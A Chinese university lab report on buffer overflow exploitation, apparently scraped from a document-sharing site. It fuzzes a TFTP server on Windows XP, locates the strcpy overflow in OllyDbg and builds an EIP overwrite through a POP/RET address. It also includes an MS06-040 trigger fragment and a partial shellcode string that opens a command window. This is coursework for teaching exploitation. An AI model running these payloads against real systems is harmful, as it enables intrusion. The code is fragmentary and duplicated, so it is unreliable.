缓冲区溢出实验报告
- 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
- 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
- 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。
华中科技大学计算机学院《信息系统应用安全》实验报告
实验名称缓冲区溢出实验
团队成员:
注:团队成员贡献百分比之和为1
教师评语:
一.实验环境
操作系统:Windows XP SP3
编译平台:Visual C++
调试环境:OllyDbg
二.实验目的
1.掌握缓冲区溢出的原理;
2.掌握缓冲区溢出漏洞的利用技巧;
3.理解缓冲区溢出漏洞的防范措施。
三.实验内容及步骤
1.缓冲区溢出漏洞产生的的基本原理和攻击方法
缓冲区溢出模拟程序
#include ""
#include ""
#include<>
";
char VulFunc[] = "NetpwPathCanonicalize";
LibHandle = LoadLibrary(dll);
";
char VulFunc[] = "NetpwPathCanonicalize";
LibHandle = LoadLibrary(dll);
Trigger = (MYPROC) GetProcAddress(LibHandle, VulFunc);
memset(arg_1,0,sizeof(arg_1));
memset(arg_1,0x90,sizeof(arg_1)-2);
memset(arg_4,0,sizeof(arg_4));
memset(arg_4,'a',sizeof(arg_4)-2);
memcpy(arg_4,shellcode,168);
arg_1[0x318]=0xF9;
造FUZZ
tftp AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAA
FUZZ中包含288个A,这个值是通过多次测试获得的,运行效果如下,
可以看到发生了溢出:
2.确定溢出点
采用284个’A’+’1234’的fuzz,运行效果如下:
可以看到程序转到了,溢出点定位成功。
3.程序中溢出点定位
使用OllyDbg打开程序,首先找到recvfrom函数,方法是右键点击Search for选项,找到Name in current module,在其中找到recvfrom,
如下所示:
从这里找到recvfrom函数的位置,在此设置断点:
然后启动tftp,重新运行fuzz,程序会进入到断点,跟踪程序的运行过程,发现程序运行到一个strcpy函数时造成溢出,如下图所示:
运行004063A4函数之后,栈的状态如下,可以看到EIP被我们的数据覆盖:
运行到下面的代码处,程序跳转到处,至此溢出点定位完毕。
溢出漏洞利用分析
首先肯定是想到利用JMP ESP,但是发现EIP后面是两个函数参数,如果覆盖该参数,将在函数返回之前触发异常,无法进入到我们的shellcode。
从上图也可以看出,EIP后面的第二个参数恰好指向我们构造的字符串,那么如果我们能够把00E81F62送入EIP,可以发现函数返回之前的ESP 指向010BF3C8,如果能够把ESP减去4,然后运行RET指令,就可以把00E81F62送入EIP,ESP-8相当于一次POP操作,这样如果我们把EIP指向有:
POP X
RET
代码串的指令地址,即可使得shellcode被执行,在系统DLL中搜索该指令串,发现在7FFC01B0处有该指令代码:
这样就可以构造如下的shellcode:
"\x55\x8b\xec\x33\xc0\x50\x50\x50\xc6\x45\xf4\x6d" // 12
"\xc6\x45\xf5\x73\xc6\x45\xf6\x76\xc6\x45\xf7\x63" // 24
"\xc6\x45\xf8\x72\xc6\x45\xf9\x74\xc6\x45\xfa\x2e" // 36
"\xc6\x45\xfb\x64\xc6\x45\xfc\x6c\xc6\x45\xfd\x6c" // 48
"\x8d\x45\xf4\x50\xb8" // 53
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" // 218
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" // 228
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" // 238
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" // 248
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" // 258
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" // 268
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" // 278
"\x90\x90\x90\x90\x90\x90" // 284
"\xB0\x01\xFC\x7F" // EIP地址 // 288该shellcode为弹出一个命令窗口的shellcode,EIP指向7FFC01B0,按照上面的分析,程序将运行shellcode。
漏洞利用
直接在fuzz中加入EIP跳转地址7FFC01B0,构造fuzz如下284个’A’+ 0xB0 + 0x01 + 0xFC + 0x7F,发送到服务器端,发现实际地址不对:
发现这是因为tftp发送的时候只能发送有效的字符,而无效的字符无法发送过去,这样我们必须自己实现tftp客户端,程序代码如下:
#include <>
#include <>
#include <>
// 弹出命令框的Shell长度